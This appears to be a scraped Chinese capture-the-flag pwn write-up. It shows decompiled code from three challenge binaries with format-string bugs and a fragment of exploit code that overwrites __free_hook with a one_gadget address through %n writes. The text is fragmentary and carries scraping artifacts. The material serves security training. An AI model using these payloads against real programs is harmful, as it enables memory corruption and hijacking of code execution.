v6 = __readfsqword(0x28u); init(argc, argv, envp); puts("Do you know who the best pwner is?"); base64_decode(encoded_string, &s2); //VG9rYW1laW5FX2lzX3RoZV9iZXN0X3B3bmVy read(0, buf, 0x3CuLL); if ( !strcmp(buf, s2) ) vuln(); else printf("I think your idea is wrong"); free(s2); return0; }
这里找一个在线网站解一下base64,然后进入vuln
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
__int64 vuln() { puts("Oh,you are right"); puts("Welcome to this place"); return fmtstr(); } __int64 fmtstr() { int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 12; ++i ) { puts("What do you want to say?"); read(0, buf, 0x40uLL); printf(buf); } return0LL;
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn') sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn') sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn') sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn') sla('What do you want to say?\n','%'+str(num)+'c%8$hhn') sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn') sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn') sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn') sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn') sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn') sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn')
int __cdecl main(int argc, constchar **argv, constchar **envp) { int i; // [rsp+4h] [rbp-Ch]
Init(); puts("Have you heard about YANGSHEN?"); puts("YangShen said that he want to know your name."); printf("Give me your name:"); getstring(name, 32); printf("Hello %s\n", name); for ( i = 3; i > 0; --i ) { printf("Now, you have %d times to tell me what is your favourite food!\nwhat's your favourite food: ", i); getstring(food, 32); printf("You like "); printf(food); puts("!?\nI like it too!"); } return0; }
unsigned __int64 __fastcall getstring(__int64 a1, int a2) { int i; // [rsp+14h] [rbp-Ch] unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u); for ( i = 0; i < a2; ++i ) // a2=32 { read(0, (i + a1), 1uLL); // a1=name bss if ( *(i + a1) == 0xA ) { *(i + a1) = 0; return __readfsqword(0x28u) ^ v4; } } return __readfsqword(0x28u) ^ v4; }
int __cdecl main(int argc, constchar **argv, constchar **envp) { int i; // [rsp+Ch] [rbp-4h]
((void (__fastcall *)(int, constchar **, constchar **))myinit)(argc, argv, envp); puts("Life is not boring, dreams are not out of reach."); puts("Sometimes you just need a springboard."); puts("Then you can see a wider world."); puts("There may be setbacks along the way."); puts("But keep your love of life alive."); puts("I believe that you will succeed."); puts("Good luck."); putchar('\n'); puts("Here's a simple pwn question, challenge yourself."); for ( i = 0; i <= 4; ++i ) { puts("You have an 5 chances to get a flag"); printf("This is the %d time\n", (unsignedint)(i + 1)); puts("Please enter a keyword"); read(0, bss, 0x40uLL); printf(bss); } return0; }